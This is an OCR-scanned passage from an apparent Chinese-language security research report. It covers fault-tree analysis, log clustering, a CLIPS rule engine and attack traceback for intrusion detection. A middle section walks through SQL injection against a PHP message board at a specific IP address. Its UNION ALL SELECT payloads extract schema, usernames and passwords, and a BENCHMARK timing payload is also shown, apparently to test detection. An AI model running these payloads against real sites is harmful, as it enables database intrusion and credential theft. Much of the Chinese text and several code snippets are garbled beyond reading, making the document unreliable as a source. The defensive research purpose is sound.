</Or-Gate>

</Intermediate-Event>

</Fault-Tree>

Bl 79~ waR R ¥ 2 XML
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1. 4 EPHIER
B8 :-iEvFicE ¥ 230 ML HEFZ :xp faltCat> AP B+ -
& events i i % A ha Bh o TR-ShiE R & 2 & s & XML #5% 0 4§ 80
SRR 2 XML RGHS Y B 75 2 4304 > s MY o i 9 L -
& events & &) 4
a. T3 @Ak
{ Arid i
HTTP i 8
DNS i st #c
FTP ig 58
¥ 47 i Sk
Well-known port inlink

=

® o o

- e

Well-known port outlink

23 well-known port inlink
j. 23 waell-known port outlink
K. 2338 MRk

] ]

N eumaz o

Bl 80~ wav#icd ¥ 2 iEd &
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2. A MR RS T
WP XML et 2 At 2d TR AR FERBL TRERS T U
- A events cnF LB 1E 2 50 o
a. #73 i MEk
select [Measures].[Count] on O, [ips].Children on 1, [hostgroupD].[3] on 2 from [log]

b. { #ri sk
select [Measures].[Count] on O, [ips].Children on 1, [hostgroupD].[7] on 2 from [log]

c. HTTP @ stk
select [Measures].[Count] on O, [ips].Children on 1, [portD].[80] on 2 from [log]

d. DNSii s
select [Measures].[Count] on O, [ips].Children on 1, [portD].[53] on 2 from [log]

e FTP:i# sk
select [Measures].[Count] on O, [ips].Children on 1, [portD].[21] on 2 from [log]

f. wipd Mk
select [Measures].[Count] on O, [ips].Children on 1, [hostgroupD].[7] on 2 from [log]

g. Wél-known port inlink

with Set [port] As [wellknownportD].FirstChild : [wellknownportD].LastChild
Member [Measures].[AG] AsAggregate([port]) select {[Measures].[AG],
[Measures].[Count]} on O, [ipd].Children on 1 from [log]

h. Well-known port outlink

with Set [port] As [wellknownportS].FirstChild: [wellknownportS].LastChild
Member [Measures].[AG] AsAggregate([port]) select {[Measures].[AG],
[Measures].[Count]} on O, [ips].Children on 1 from [log]
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i. 23 wel-known port inlink

with Set [port] As [wellknownportD].FirstChild : [wellknownportD].LastChild
Member [Measures].[AG] AsAggregate([port]) select {[Measures].[AG],
[Measures].[Count]} on O, [ipd].[All ipds] on 1 from [log]

j. 23 wel-known port outlink

with Set [port] As [wellknownportS].FirstChild : [wellknownportS].LastChild
Member [Measures].[AG] AsAggregate([port]) select [Measures].[AG] on 0,
[ips].[All ipss] on 1 from [log]

K. 23838385k
select [Measures].[Count] on O, [ips].Children on 1 from [log]

3 h%GHTE
BBLA-R'GHTR  H? v EHpH IPE ~falttree Fsgs 55

BT EHE  FTE LA TFRRGE -

Py m i o
La =
ek
IFIIGHAY -
faullTran®h K
[+ -
LR SN ]
il
@30 A0 D DHYO0D

04

Bl 81~ b %7 E
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% EAA 41 (Fault tree andlysis)™ 9351 * % 74 b eng R4 27 b ot ¥
Bl R AT LRRTR R A 2 P RIFRIER RS A 0w F
PR R DA R R AT AT LRI B PHTE 0 XY L L ETA
2B EMB A A guE 2 Pl A A PR AR o AP et
F T ARG EFAROE AR o AP f 0 fadlttree K R G E
A R E D LB F R TR R BB R A s 3T I LRk

HEFFLEFEFr PR GRELITERE A7 o
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T4 ¥ (data clustering) = £4 #i% & 2 (clustering algorithms) & _$4++
BB A1 h- PRI AF AR TIR AR > LB ESE Y (machine
learning) ~ 59542 # (datamining) ~ 3% 2 %] (pattern recognitition) ~ &) -~ 17
(imageanalysis) 4 % # J»3 & (bioinformatics) % o 4 ¥ 8~ f&M-F 4L A 4F
S 2 > B R P hr AN TR g e BEER (cdusers) > &

R [Py Ap Rt &L e AR T RS o F] 82 k- T

BOREEEE A A BEESNEL o

LX)

. .
o it L
w® e R ¥
'++++ £y # L) '--.l Ex) & LY
-a L 'Ll * L Ll
.s s ¥ an s .

LY L] LX) #

B 82 - Example of clustering
REFA R > NERIR 0 F IR Fam 4R

Pk s engr & 5N en e
P eI RREEESOE S S Kk (nested) & 2R K eh (unnested )
K ® A o Bk 7 A A FiEARY Fsic (number of clusters) E_F € s o
Pk 3¢~ #:2 (hierarchical clustering) % #c# 1 d + % (top-down) -
& Fd )% (buttom-up)s kK IEEHEE AL H A AR Bt L FEB A e
A 38 ¥ x (partitional clustering) P2 A4y a3kt £ % - 2
BEEL 2 F RREREAMA RIS GG TEEANS IR EarE S N d
¥

e gy B3 o (clustercenter) » £ & 374 fie o
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2. 3 % (exclusive) g e (fuzzy) :

FARERPEIHERE, VBAE LA KE ) - B ER FArE- - B
&z Lgyfé)]* H 7 % & # (exclusve clustering) - 23 % & # (non-exclusive
clustering) RI* & & fs— B4 27 e RS BEE A Hop A # (fuzzy
clustering) 48 F HAFE 5 B E B B EHEOE T o LA EA KT L A

i hard clustering {= soft clustering -

% & e (complete) 238> ¢ (partial ) :
= & 4 ¥ (complete clustering) #-& B 47 & A - BEEY > ARGAF
(partial clustering) #r# & o 3Rip A Fende il 5 TR E P - B4 2w 5 2
¢ g &g H (wel-defined) 3 f > 3F 5 AFHE Y b 2V HL T LR
(noise) ~ &t# @ (outlier) & "7 3 4&% § | (uninteresting background )
AR nA FEE IR AR 0LARAR 0 S TR G T SR
B

a
b. #* R REFAH

C. PRlFELERES
d. ®BRAHLZE: 4ok 4 ?Fﬂ}’ﬁi%’ﬂ‘?f']-h},%ll,ji— T A

6.2 4 &5\ 4 2 (Partitional Clustering)

AHRAHEEIE PRI A EFANTRLY BN AL BT

oy

ALBE o gt FORLEET AL ¥ P s (cluster centers) ~ & 4] (prototypes) ~ i+ &

2. (medoids) ¥ - AR L 1R EFE Y & TR FOAIL > PR ALV 1S

z
PR D TR EE R R A A R T ARG A -
e RS I N A U R RS RS
UL M LR o
AHNAFEZOP DA AL FEREF BERY 0 F - BEEY capERg T

P

* 34 (squareerror) o XA PR AGF - e FCRHERDETR > HY % kK B
HEF P B A CK kA7 0 B® Gk ¢ 5 nk & F# {x1,x2, ..., xnk) g3

137



oo s yke

M CREFERD{rT 2 FL ETIAF BERAT I FL R P HZ A F
e T 22 % S, (error function) ¢ T4 & & | (distortion) #% i & # e 2 > iik
B L - BRGNP PSR A PRI ER ¢ BREEILE 4

s 18 E HhE D ] o

6.3 K-Means 4 #* ( K-Means Clustering)

fArg A RS A FE 20 o Bl R et ik R eh K-Means A i
(K-Means Clustering) » ~ #i 5 Forgy's algorithm - K-Means 4 32 ¢h3 @ T g
PR L TR B E TS (mean) A ko x fEEEEESDTE <o
K-Means 4 %/ e 4240 -

LS E I K BB Y o
TR BRI E Y wapER s R TR S A TaE R
FTHRBFAfRRE  PESGHEETEY v T3 8 o
¥

3. &3
4.¢ E’%"’f Feh F= o 23

&%

1T R_K-Means & # 2 dh- g )

OoDo

oo Q
®ooa

O
D
aao

Bl 83~ 7 AP k(=3) B &1F 5 #¢
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B 84~ ¥ iz B BT S KE3) B HR

Bl 86 F Riti7 A Ms FlaEY wF Ll

6.4 K-Medoids 4 # % ( K-Medoids Clustering)

K-Medoids 4 #:# (K-Medoids Clustering) €_K-Means 4 ¥ eh— i %2
K-Medoids 4 %2 &2 K-Means A #% eh7 o a3t B 2 ¢ w §d ¥ 5 ¢ B2 &
# gk (medoid) k-2 > @ A K-Means » #2797 » #¢ wfd L ELETH
BLondic @ P H T30 (mean) @ B F > 4 LAGHENTEY oo R FEY o
R IR 2B R ORGP T et K-Medoids » 3 -
K-Medoids 4 ## % i f2 40

1 %5 kBakias e
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N

%

=)

FBEDIFE P AR e O BT B S AT AR
3. BT THBFAMRRE OBAFEE? BBTHEETE? R

A3

b4
-

Frende o

4. ELRHFI-foh Iz 0 ERIEY o LHFLL

1T E_K-Medoids 4 # % - B §= 5

Bl 87 % &3 k(=3) B RT3 7

@89‘3" ﬁ&ﬂ&#&zﬁ'?ﬂf}:um%ﬁ‘? f’

NN
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O
oo

[g]go FREFPEHIE FIFEY A L0
65 B* B LB p RS IERE R

FHiER VP & (firewallog) 24w 2 (83 4 e s B (profile) » =
e 73 AP R RS SHP AR APT R ARG

i<
3
=

kS

ARl - BHERA S XA HENF B F A Bk FIE -

BxF A-B-~C=i4> 27¢ Aidsm| updae server =t #c i 150 > B i
AR I| update server sh=t ez 1800 @ C = 2L 5 @ MR I| update server » R i €
WA ABARYF- BERE CCEY- BHEHE > F5 CirA-Bad {7 5
F AP o

TR B RS fEeAp i R B “f TR AR B AR R @RS
RS GRS A2 Bp ARR c BB e DA APT UmIEkE A
SR AT L B E RO B O A AR R B -

AB R EE Ry > AipEApE 5 A ey Fr(profile) iz 3 e pER 7 2 & | pEF
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Client Server
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4— 2 Server hello
-— 3 Cenificate optional
-a— 4 Cenrificate request optional
-#— 5 Server key exchange ophiona!
4 b6 Server hello done

7. Certificate ophional —

8. Client key exchange —
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10. Change cipher spec —
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-4— 12 Change cipher spec
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14. Encrypted data -4 14 Encrypted data
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<form action="index.php” methad="post” class="niddletext">

#8532 : <input na ' slze="20" type="text" >
&nbepfmbep RS <input mam sizez"m" type="passvord”>
<input value="871" type="gubnit™

</form>
B 116 ~ = F R 4045
BT A F AR L AR E TR LA LR R

T4

http://140.115.53.35/board/board.php?d=9 UNION ALL SELECT
NULL,TABLE_SCHEMA,NULL FROM INFORMATION_SCHEMA.COLUMNS
limit 352,900

BNy

BESER - map_board x |

msg_board

) ete B

Waming. mved_letch_anod ) opects paammtar 1 to be reicune, bockean ghven i C\Progrem Flles \EawPHPS3.0 \weww\board
\board php on e 72

B 17 EFRE LA

P Lt e TR LR S msg board s i BIFE Y ot R EFOR A LA 4

R KR

http://140.115.53.35/board/board.php?d=9 UNION ALL SELECT
NULL,TABLE_NAMENULL FROM INFORMATION_SCHEMA.COLUMNS
limit 352,900
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Warning rrog_letth_asesc]) svpects gaamater | 1o B tesurta, booles goven 5 C\Program Tlles \FasyPHPs 0.0\ www \board

Jetth 3
\Beard php on e 72

B 118 @ FR £ LA

BB TR AL T T A 4 B e 0 A 4 T

http:// 140.115.53.35/board/board.php?id=9 UNION ALL SELECT
NULL,nameNULL FROM users

= | [ pw % =

Warning: mysgl_fetch_assoc() expects paramster 1 to beresource, boolean given in €:\Program Files\EasyPHP5.3.0
\www \board\board.php on line 72

B 119 - B’-%E.’ﬁﬂfi .";ﬁ_

B AR o S ALF ) LT B AR LR MEEL B B ey £ o T

http:// 140.115.53.35/board/board.php?id=9 UNION ALL SELECT
NULL,nameNULL FROM users

TR E G

S uneEa | Log [ ) et 0 i

i

B 120 ~ B-{8 & 55
AR AR A R T

http:// 140.115.53.35/board/board.php?d=9 UNION ALL SELECT NULL,pw,NULL
FROM users
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(5) 4 %p &
BRa it Ly - SSTERARTIERL  Y A T R R e s A

FEFUACER P L A R DER > dheT

i+ 9 UNION ALL SELECT NULLpow NULL FROM users  SELECT * FROM thread WHERE tid=3 UNIOK ALL SELECT NULLpw NULLFROM users - 2009/10/12 2 BENEMED L1 ENEHED Tedhls
135731 L2 BlEHRY L2

fi
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9 UNION ALL SELECT NULL,name, MULL FROM users  SELECT * FROM thread WHERE tid=9 UNION ALL SELECT NULL,name,NULL FROM 2009/10/12 2 BEGEHED L1 EWEHED TIShER
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fi

=

O UNION ALL SELECT 1111,2222,3333 FROM users  SELECT * FROM thread WHERE Hd=0 UNION ALL SELECT 11112222 3333 FROM  2000/10/12 2 BENEW L1 BWENEy 22808k
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=
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ML b S GEEFIY AR E I W ERT R e

Y T IR TS ST PO

o FC X & W 4 M9 17700 bbb 5414 IO ALL STLECT BTRL, NTILL, BULL

Cnrghe ~que 00 Teves -7 ew -k B 5
SI¥ER g he [Ty My #I0 BE—9BULL SEWULL
LI

S
B 124~ %4 e
EmM o MRt E o 07 & gL 0 i ihi g 2T T 5T

N S

() Mt L% 71 =#
fb - i g FlEpaseH S 3 B LA RFATEDAL
PRt BT RS A o
o T RIMZ P n:
Rkt o B3R F RN AR LA L
BT o e B E T IR e R A 2 w0 RE Tk BT AR
M A A g o
o THF P
\UNION ALL SELECT BENCHMARK(BOOOOO,shal(llllll)),NULL,NULL\

o ¥ E

/2 BAT - Windows Internet Explorer

BRNTERR| v 2 hw/4011553 35howitosst physi-3 UNION ALL SELECT BE
: ® WHE WY IHREQ IAQD REE
x GO ~ v ._..l m - i 4 -

o BEORE () Eus
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(8) % p i

/J_‘ - L
xm ot =

S BFEL R AT ER S R LR AR R AR S
B 4o e kbR i T o

(9) Bt L% = K ff
PP e A

24

EL BT SR E R ST RV
ERCACEL (P& SIS JE e
(10) e+ 4 % = s #¥

Ptk g % ﬁﬂﬁ.ﬂu&%ﬁ A SQL Injection > b L p o2 44 K BB F A
- AT

AR R s > AT H G WERAT R R o A ARy A
5 ﬁi%l » |demo test=1|"& % 375c# o

URL : http://140.115.53.35/board/board.php?id=9 UNION ALL SELECT

BENCHMARK (100000,sha1(111111)),NULL,NULL FROM users&
demo_test=1

(11) s ap i

A TR AT Y % o AP 4T

1orp & MR R OMEET > ¢ RFET 2 oo

Nﬁgﬁ»ﬁ%%?ﬂﬁ%%@ﬁ%%ﬁﬁ’{@w%

SHEAAAT A (b4 RELRAE) - FEHE O~ o ARG T o
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(12) o % 39
Kﬁ% AR RRERCET RN APT AT S E M R
L]

Black list
Hais

e[ mw=a
140/115.50/233 [Laval 4 = |t
140.113.24.204 [Level 4 & | e
140.113.74,119 [Laval 4 =] | e |
140.115.220.112  [Level 4 = | it |
140.115:53.10 [Level 4 = | ez |
140.115.53.35 [Levela =] [fsik|
127.0.0.1 [Level 4 =] [ |
140115320 228 | Leval 3 = | e |
F8.142.140,194 [Lava)l 3 =] | s |
122.116.5.170 [Level 2 =] | i |
116.160. 1684.87 [Level 2 = | e |
122.116.5.38 [Level 2 = | e
140.113.216.142 [Level 2 =] | stz |
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dEEL R AR o d FEEEME Y RSP S P hioBiEg 2 TR
Rl o B w0 efx Pl4E 25 4 Si(rule-based inference system) ~ % 4% 2 { ek (¥4 &
4ot CLIPS & i rish = 3 T &2 Plehg i 2 iz # 4 Unidae 7 2 4
sz o CLIPSR A2 346 & 74 (Tho™ BT

| @ CLIPS 6.24 E_]

Fil= Edit Buffer Execution Browss Window Hslp

D= i]=(2] S
€ Dislog Window |9 |[=NE ]
Defining deftemplate: 113t A.

Defining deftemplate: color
Defining defrule: p list +]
Defining defrule: s;ap L =3+43+3+43
Defining defrule: :lwnpzz =j=3=3+3
Iefining deffacts: base-fact
TRTE

CLIPS> (reset)

CLIP3= {run)

Permitstion ia (blus green red
Permmtation ia (green klus red
Permmtation ia (green red hlus
FPermitmtion ia (blues red green
Fermitatlion 13 (red blue green
Permutation ia (red green bhlue
CLIPS:

4 >




(PEftempate List (roltislol itera))
(0efemplate calor (slot narae) (sl seg)

(defnile p_list [list (era 7 7 M= (printont + "Perontation i 0778 "7 T "R ) aalf])

defruk 1 Nis ¥ 7 Wik Tnlipkr ™
B F e B R e G

(et svwap 2 Mswc-list fem W % Mok (narae 70 § sex ook (narae 750 (zag )
(o (nﬂm.c W {aeg ) (st (= M) T )= s aet (st [ihem Y 000

([Hefacts base-facd  (list (e ol green hlnel) fodor (narce wd)(zeq 1)) (oolor fane geen) (eg 2))
foolor tnamae blve) Gag 310

B 128 ~ 45 i 3F 2

L TR 2 A P2 ettt d T XL FEFAIFET - TR E A
AP - BT F X RIEE IR R et Al € & 82 iEt it 2 3R
AU G 3R T TR B TR B R R TR ot T A2
Al e 49500 ¢ i RIRiB e S 1 B2 2 RIE - dofr B2 RIdEsh s Fie 7
BRPAr 2 't R PIEEIRS LA FE IR 2 - o R
PTG R P AT RRIEEE T A R FE R R h A e
I AN L K f FEH

Pk ERERS AT EE A HEY A F AT ERDPETREY

FEPHY 3 bt DB (Ue TARER OB~ AT R 2 %) K
PRSP TR Y NT RN A PRIG IR S % - HIER

G REZRIHINFLFT N Froeand A RSP AT E S PIEERNEE
w_?f:,—ﬁg?;;pu-' g]’j f—,gmn—hsﬁﬂ.ys@ o

%R T P02 ok A A e R ST AR L G AR B R
FEG o A TR A LR A GEREA 1T 0 A2 LT R A # (data
clustering) s & 4 ¥ ;% & 2 (clustering algorithms) & - f& #3414 8 & F e
20 B RP e G R R ien B i EOR (clusters) > e - FR
e B PG AR e & T Ao ApiTepEAE R o B 138 T AR T 5 gk
oo BERE DS o
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B 129 - Example of clustering
i - = N\ Yok =1 L FL B Y L Ha o
——Jé,’irnﬁ,’ln%il,z:\f,ll‘\iiﬁﬁ;pﬁ‘\&\;{.

1. Fg & 8 & #72 (hierarchical clustering) :

#H# (number of clusters) # mid ] » A Ed X > KEBEEHRESEH
BAH G B L EPB K
2. & V42 (partitional clustering) :

A THEL R - RS EL S NE P E S N Al
FEEP o

ST A FEE R AP AR 0 R T EER LT A SR

e EFEH

fo @* R FRiFAsH

g BlEAERESE

BRI A HEEE > wk RETFY ok > RwIHH- - L - HwEFLHE

4 fpt(fault tree) 81962 # d . F % % (Bell Telephone Laboratories) s # -
R Feend st f g > R B A st o AT A s A R FIE B S kA
APV G RRiem B0 A AR EJEF, AP TR ﬁis?J » AR DA R R e
g ABAl(model) > A AR AR A bk W HAFER KK 5 -
2 pptenfe vl 0 Jdor Top event# 4 ok k0 B¢ F - RRASE RIS
- BER A AR EE- LB & kgt § 24 Top event
Bo blirds ! BAPIEB IR o cnZ AR AN T F Xofr Xg kg 4 &
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X132 pF > topevent % ¢ # 2 o

Top

B 130 ~ Example of fault tree

Ay FLEET G N3 kP E top event ek g B
T=X,UA
A=X,NX,

Flpt s A ET @R T = X, U (X, N X,) P ER RS A X A s

AP =1-(1-P )1 P, Py ) > ¢+ 7 5 topevent ¥ v % 2 Ik " ©

BE LAY o ST A T B e 1 R eI
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RuleEditor: 2 PISHIEE - #IZ4 7 Jd o427 % B p T4 2 RI03
gg:o

CSIM: ¥ & il fa A AT IR E L8 > Jd 27 L B RR A RS ATIRE
ifhiE e

SIM: et h "6 A FTIRAAS - 5 07 B L RBP R TREL G ITIRE

T B o
Traceback: % MCC T it4; £ ¥ » it (7 s 4 enfm B v i -

183



REL T S RN e TR RS

PREERE

Bl 132 % S 4]

ERE S F RS Y WA RN R B A LR 28 WL o i
oo R U R AT L RN T R A BE RS DAy A2
THEEL RS RPN Bl P LT AN PET gL DA B
—g#%ﬁﬂ 3o eV T L R AT F RS IPRY (75 e

184



FZE-FREMESEET
B G IR R DRI SR A o T AP R iR - )
BoFAARY SR
1 FHEEE-
3 b 5 (ip:192.168.2.8) 4 T ATA AL g > S A H AF X 2RF

ﬁﬁﬁ%ﬁﬂiﬁﬁ}&%mo

PREZAK

h| i

HE  SRARAM
AR bl EL

Bl 133 7 B4R

P FE LI T EES R T EE TRy
'.?‘j;’ s 'F',‘ i‘@)\%ﬁljlzﬂﬁuﬁi%éﬁ;éj .

185



s A RN RN SRS ERtAmRs
= LY
i 0 e o ol g piart
£ HTHEE Auel=AlUe] E&RIEERT
T s i s
HEEEY
Rule 1
=i, 1
e FO0E-08-07 [0 00,0
yluration, 000
mm: 10
mim, 2
srocip gid; 8
m_port_od: -1
st lp ald -3
st Biort gid: 1
gctan: Droe
LT My e | in
P a0h 31111 - »_merum. /

e g

-

|_ B it

&l 134 - Rule Editor

b. # 4 kA ERE AKRAF{ATFEF G- FHERF TR

PmihTemie  Dirlysbinoing Bl Doan Do eiageiminl | fEidc Sminain
HaneyRul | Tracehats  Ranee Anshyeie

3

!3 !4 g2

T

;:*1

matiwork STt Fifrribon bbbl vk Sedetaed

1 Updnss Fif ot

WL TIAIAEYY s

PC Profjie

i Pl e

"o
nq.
i
LR
LR ]
i
(1|
(1]
(1

IR AR MIFFEM I saT

B 135~ 7 2 447
/RIEIE ER-S IS ETE N E

CEBF 2R 2Lt Hhd s

LAT B Bp A R A A IP 5 192168285 3+ K2 A8 +

186



TAERHRRT LR cBRFFRAANTALBNE TS o

i Ih ' FRl PR S e B )
[oon 11 =y18gay Bl icsitiod] ST -
LiocsyLL SEFSETFY Asmieil it e i 20091111 |
L IRz 18838 _ Imtmotipdsing i} it
FTLTTN G 192 {663 15 Alholipdist i | K =
ti] ]
FauleTreems
Abnolipdatad i
wEEN -
X s =
3 O 20 A0 60 3100
T Y

B 136 ~ se# s
FRZSABEFPFFLI00% 20 0 FAFEET 2 Tl ik F R

N
eh{ 57 e

2. REHHES
ML @* NMAPL EH$ 3 ReanT i, B 23 o

- i mm..ﬂjl

r ¥ I

L8 L ¥
Baa SaPRERM Znum

b SEEA ANTE-

o
£33
2

Bt

B 137~ F B
Q) m b L H

M4 (1P192.168.2.3) 1 1333 IP192.168.10.5 4 1 ¢ tx (1P 192.168.8.3)
i {7 Scan Port sx # st # & o 4T

187



File Edit

() ¢ &£ T i

View Terminal

dmscecurityesinS: =
Help

i

B 138~ ¥ F w

P RSB RA BT A RS RRE 2

3
=

= WE T

RuleBditor

Hame 2HHY WAFATM Suas suigmes

CTTEET

s0il: 1

Fate: 20081130 0 00000
Juragicn; 0

e 4l

i 0

ST gld: -1

ST @ort_gudf -1

A5t ald: 8

dst_port_gid: -1

- ) g P e

B it

W 139t & e R% 2

188




I ScanPorth B 42 =~ 2009-12- 02 ’};*KEAII?”&{?
*ﬁTﬁﬁ PR

|!M’-n IwtyWurog  hde Edisr  fariewd Meagemed  Salact oman
HandyNnt Traceback  Natilow Anslysie

3
4011806434 Search @

PC Prifie

‘_ 113

192168683

Noeden TETVY SEDES
@

-

- ‘

R |
P t

Network Status informaton Globnl Network Satting il

s m)
+ | Lpdate nformaton -

vvvvvvv

B 140~ 7@ L 5447
FIF VoA 192168.10.5(E h IP) % 192.168.8.3 i& {7 st > ¥ ¥ S i

WL T AR AR BT H R R - R RS 2R 0 &7 2
BRAUCEFE - APEETRLPRT o I Rie g Bl
FRAGEFAFRIEEHO F B ARIEE PG AT o

189



Click tg

FaultTree  EarlyWarning  Fule Editor  Backend Management Select Domain
HoneyNet | Traceback | NetFlow Analysis |

MCC 1P 1821668725

‘Source IP: [ | pastipF [+ | DestPort: |* | 1P Protacal: [TCP=6 |v]

[C|Fragmentation 7| Date: '008-12.1¢ [ Time: 15155  [2008]~| vear [12 [+| Month [10]~] Date [13 [« Hour [1_ [+ minute [s5 [~

Add/Minus (1. | ¥ | saconds and show all the path in the period. | || Cancel || InvokeTraceBackButton H Netflow Cancel ‘

STIME: ETIME: SIP: 15716883 DIP: IP Protocol: DestPort:

| NetFlow Analysis | Traceback | HoneyNet |
| NetFiow In Query | NetFlow Out Query | Complete Path | Incomplete Path |

8IP;192.168.10,5 DIP182.1688.3 DPORT:21 ProtocoliTCP=6 |

T »

SiPi182.168.10.5 DIPS2.168.83 DPORT:2568 Pratocol TCP=6

SIP;192.168.10,5 DIP:192.168.6.3 DPORT:2S Protocol:iTCP=6&

SIPi182:168.10.5 DIPi192.168.83 DPCRT:554 ProtocolTCP=6

SIP182.168,10.5 DIF:192.166.8.3 DPOAT388 ProtocolTCP=6

‘8IP;192.168.10,5 DIP:192.168.8.3 DPORT:22 ProtncolTCP=6

8IP;182.168.10,5 [DIF192168.83 DPORT:338% Protocol TCP=6

SiPG2168.10.5 DIP152.168.83 DPORT:113 ProtocolTCP=6

SIP;192,1668:10,5 DIP;192.168.:8.3 DPORT!1723 Protocol TCP=5

| 8IP;182.168.10,5 DIP192,168.6.3 DPORT:53 ProtocoliTCP=6& |
| ‘SIP;192.166.10,5 DIP:192.1688.3 DPORT:23 Protocol TCP=6 |

SIPNG2 1RR M 5. NIE182 TRRA NEOBT:A3A_ Pratncal TERP=A

W 141 7 5 F RS

AP FH P - 3 R T g B IRER AR Ao 192.168.10.5 fe st EL T
4o Bl i o:

192.168.2.1->192.168.4.1->192.168.6.1->192.168.10.1->192.168.8.1 -

fRoatTree  EndyWameg  Suag fomor Bscumd Masegomet  Sewct Dommn
monaymer | Traceback | wetfiow ananws

NOC W (NS lElS

Source ¥ * DestiF- * Destifort = ¥ PFrotodsd TOFiG | v

1 ageant aton Data. O 1240 Tema 13133 Jo0% = Your 13 = Menth 16 = Date 13 = Hoor 1 |~ pMnute 35 -
AgdMwrgs 1 = saconds sng show 3 tha path o the pernoa Cancal Ivvake Tr 2l TPt ten Nettiow Cancel
sty ¥ T M 151148003 w157 16885 W vestocad Tor=4  DestiPery 3

Wit bw Anbyses | Tracaback  Henepher

Mathisw n (pesiy | Neifics OWt Quary | Complute Faih | wasssiate Fath
- e -
IS MR I > [N IS 41000 —» (¥ 1 3040 ~-» (30186 (0104 = 150 188 8 101 I

Bl 142 ~ BRITE B

2>
_.::.;
il
1=

Hlgret 5 - B IP R 5o 0 F 5 192168.10.5 # Az st > s

192.168.10.1->192.168.8.1 -

190



F\

sk

fpihy

'

191



FLERETIE

ATEN S ERFRA CREP R (C)RF - E AR LAY RS
BEFRE Ao PEE A W R FH A A ¢ e Bk S T
& bR EGGIPERE o (Z)h¥ - ERRFLERELGAITEFE L
R BT 2 vt TR K EILH R hF e gt b B R4
CHREE R NEFEE PR IPaE I FEI LT MR R
L AT 2 FF R RRITF - APRITUTRELBAE S E

F

SE
XA PRRFIE R0 E R HY T € LA R

44 g o
N A T TE
P EE 3
£ AT A Hoai 14
IR 19
e 22 5
it g 15
Publication 5T 4
B 1
Z ﬁf- 36~ = % fu;"‘
1. AIATEA (14 1)
o - -
WINDOWS (1) SQLinjection#4f 1%kt F F H ok E > 17 flra, &
LA 3 ho AL TR GRS | 5B R URR A Bl
Cl S URL- 7+ 34 SQL injection attack = Script injsection attack -

WINDOWS (2) Buffer Overflow sz # @ plH s @ § » x,%—*ﬁ 41 *  Buffer

#T FIREZ Overflow se# $3¢ & ko #p¥ > o > system log files b ¢ 7
FHD G P oEgengph % IR R T ¢ 22 Buffer Overflow s<# 5 B >
EF L9 2 J§ > Buffer Overflow sz # jH 3 < log records 2 # -

192




3)

Port Scan s # 1 jp| 3 it © port scan sz # % system log files =
argus ?ﬁ\'ﬂ%&fr&;v " ~F, N~ B MR- ip a2y
L

z;ﬁ“@ gt - %5 data records >

agus FAt A ¢ jrf @i irf data records & 2 0 i

ports % ¥ 3t & - %

kP R ETE T4 7 portscan st o

(4)

(5)

oo & B D APUIRE Beeire > AR50 ATH P T
R LD ERY H D B REP F o FF R AP
AT REEF NS o R R EREF I B F - B
Z_MYIID> & - 5 MPC #7 & § hia%l> % = BLMYRIP >
BoEpdpEpaopr 3o 23 F B %= BELMYSUB &
MYRIP = fppeftcnetmask > » £ 55 5 B > 5w B4

MYCNT > * k%5 P w7 L 5 caMYRIP el g > % 7 B
Fio o Hdeind BRE T

R A S BV S FURCEO LT B AL E RV W e

LSETPN » * & 2 23 e 77

D pF > % F & €475 o 3]G By o
Bridge module H i :

& MPC % 17 bridge & % (p¥ iz » £.55d #i-e P s bridge
module “7i& fF e s FP A G if s BiE 4t poF R 3
AT e H B gt e R iR U B MPC (S
Fesg i Ae e fRie B oo bridgetirie? o #f e (T @
P ¢ 54 br_forward.c % ¢ br_forward i& i &0 5% o
I v TS E iR T BT R e RN R N BB S
NI ME D B eeenp R o

i % systemcal 3% 3 F s et B REPFT Z T R iR

*H o Userspace ik 53 T A AP BT B &

-

B systemcall shdi T A S FE SN Bre G T B

3¢ TR ez Buffer i &
# ek S AR BT & Buffer p > E T Buffer

R ehER > 4e ~ Buffer »

193




(7)

(8)

o

BPAE- BB LB TRE R EEEN R
FAtmA 4

PR TR BN ARt B fRse T A el S F
CEERR R T RS E O A APR L F A
PG RPEHRS R U DR R FR R eEs s U 2

7 Ko

(g

*37?}

PR LT R

MySQL B 3% %A & 301U 2 g sh % Byl
A * phpMyadmin 2 & (7% F ;8K 2o

9)

(10)

(11)

fo i 2 popie D onaE 2 g G - IR R S R A de e
PR T BEFRP VP E(firewdl log) ® B8 =
BAWNIP = E o B e R 4% $3 LB L
oo o X foothers & &t IP#73 d Sdic p frid ) & (4
Http ~ Ftp) -
B¥ AR A 472 HaF 0 A #72 A $8(no update PCs)
A 4R 2 3 4% (noreport PCs) ~ e 4 =k (crawl web site) 2. i
¥~ 73 3% 2PRI(unsafeservices) i & 2 A 8 ~ R A E
JREMA &% ¥ G-Portcha > R CLE B L84
o KRR %B & (firewall log) + eug 5258 T pr
AR B sofp(attack tree) k- 5 & 8 2 e 5
- AR P LT FABATERLSLER > vl
'r%%é—%i’ﬁ BAfg ALl RECBEESE
TR F A PR R R ke L L P w g
SEVERFOLE T REBEN PR RET R
MR R oL 2 BRI HE
TX P SRR AR e R R A AR R
(TR RE A AGEY e TR e mRE R g
- @BE AT (easytouse) R HIEE EF L & 7T
PIAERREFRM - FERIZE2ppn2 LH 0 7

el

194




EEEYREF TR

Ea#}ﬁlgé‘%

AR Yk BLEE

(12) WINDOWS i %u3f df $Litr 2252245 ~ WINDOWS e | &

RE AR &R E 2 A G
FABAEH
(13) e Be 41 ¢ i 2L BG4 54 &
yics
(14) B & PR G A T8 & PIFEL PLo i L 54 5
A 37 RIATHE

2. AR

WINDOWS

RS B

1—,'13535"[ g :\

WINDOWS
FERIREL

D)
)
3)

Honeywall #ic# = 74 g 22

TR A 47408 4 457 Honeywall = Honeypot 2 F 4L

]pr-:] I:J" °

Honeypot #ix %8 :

SR (4) %M AFHEGE G 2 TCPL S S Bl
2EE AR
(5) 4+¢ fEzotidl : BB Fie kondts 2 (74te fhae o
(6) # & ik didl @ Hikieif b i e TR .
fE 3 e e (7) wescdte fhie gl - e kst e fheep T4 %
HEIFRE
C R
(8) TR I AL IR R R B
%4 7 %18 Socket -
(9) Javafr: 4 i7 g4 1 BT B JavaGUIl 4 6 hf 7 o

ﬂ@?#&#%ﬁﬁ:ﬁwszc@m@%w M iR
(firewall log) ~ (2) ~ (3 & 22 it 5 H(Profile)
(AMCC ¢ * zz4% % (5)HoneyNet i@ * 2z4% -

(11) % B (profile) s sdic 4 :
fe e #8 % i s =
4h39 e

(12) £ % 7 5 ~ 474088 FRAFHFTRLS 2
LA profile:e (7 » A B4 BRI INEF 24

BFORLE P 2 4 firewall log i 7

a2 profiler &3 » FHRE? > 12

nMCC#® 22 7

195




¥ o

